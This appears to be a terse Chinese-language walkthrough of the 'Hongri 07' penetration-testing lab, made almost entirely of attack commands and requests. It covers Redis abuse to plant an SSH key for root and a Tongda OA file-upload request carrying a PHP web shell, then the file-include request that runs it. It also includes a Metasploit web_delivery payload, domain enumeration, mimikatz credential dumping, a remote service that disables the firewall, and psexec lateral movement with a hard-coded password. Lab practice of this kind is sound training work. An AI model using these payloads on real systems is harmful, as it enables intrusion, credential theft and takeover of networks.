红日靶场07详解

 ┌──(kali kali)-[~/Documents/ATT&CK7] └─$ searchsploit laravel ------------------------------------------------ ---------------------------------  Exploit Title                                 | Path ------------------------------------------------ --------------------------------- Laravel - 'Hash::make()' Password Truncation Se | multiple/remote/39318.txt Laravel 8.4.2 debug mode - Remote code executio | php/webapps/49424.py Laravel Administrator 4 - Unrestricted File Upl | php/webapps/49112.py Laravel Log Viewer < 0.13.0 - Local File Downlo | php/webapps/44343.py Laravel Nova 3.7.0 - 'range' DoS               | php/webapps/49198.txt PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - | linux/remote/47129.rb UniSharp Laravel File Manager 2.0.0 - Arbitrary | php/webapps/48166.txt UniSharp Laravel File Manager 2.0.0-alpha7 - Ar | php/webapps/46389.py ------------------------------------------------ --------------------------------- Shellcodes: No Results

ssh-keygen

 redis-cli -h 192.168.31.6 config get dir config set dir "/root/.ssh" config get dbfilename config set dbfilename authorized_keys

cat id_rsa.pub | redis-cli -h 192.168.31.6 -x set b

ssh -i id_rsa root@192.168.31.6

 POST /ispirit/im/upload.php HTTP/1.1 Host: 192.168.31.84:8888 Content-Length: 658 Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5 Cookie: PHPSESSID=123 Connection: close  ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="UPLOAD_MODE"  2 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="P"  123 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="DEST_UID"  1 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg" Content-Type: image/jpeg  <?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> ------WebKitFormBoundarypyfBh1YB4pV8McGB--

POST /ispirit/interface/gateway.php HTTP/1.1Host: 192.168.31.84：8888Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.21.0Content-Length: 69Content-Type: application/x-www-form-urlencoded json={"url":"/general/../../attach/im/2205/1702339734.jpg"}&cmd=whoami

 use exploit/multi/script/web_delivery set lhost 192.168.31.84 set lport 6541 show targets set target 2(PSH, powershell) run

 net config workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user                 # 查看本机用户列表 net user /domain         # 查看域用户 net localgroup administrators   # 查看本地管理员组（通常会有域用户） net view /domain         # 查看有几个域 net user 用户名 /domain   # 获取指定域用户的信息 net group /domain        # 查看域里面的工作组，查看把用户分了多少组（只能在域控上操作） net group 组名 /domain    # 查看域中某工作组 net group "domain admins" /domain  # 查看域管理员的名字 net group "domain computers" /domain  # 查看域中的其他主机名 net group "domain controllers" /domain  # 查看域控制器（可能有多台）

 load kiwi kiwi_cmd privilege::debug kiwi_cmd sekurlsa::logonPasswords

 net use \192.168.93.30ipc$ "Whoami2021" /user:"Administrator" net use sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \192.168.93.30 start unablefirewall #unablefirewall为创建的服务名 #binpath后面是运行exe文件的所在路径

use exploit/windows/smb/psexecset rhosts 192.168.93.30set SMBUser administratorset SMBPass Whoami2021set payload windows/meterpreter/bind_tcprun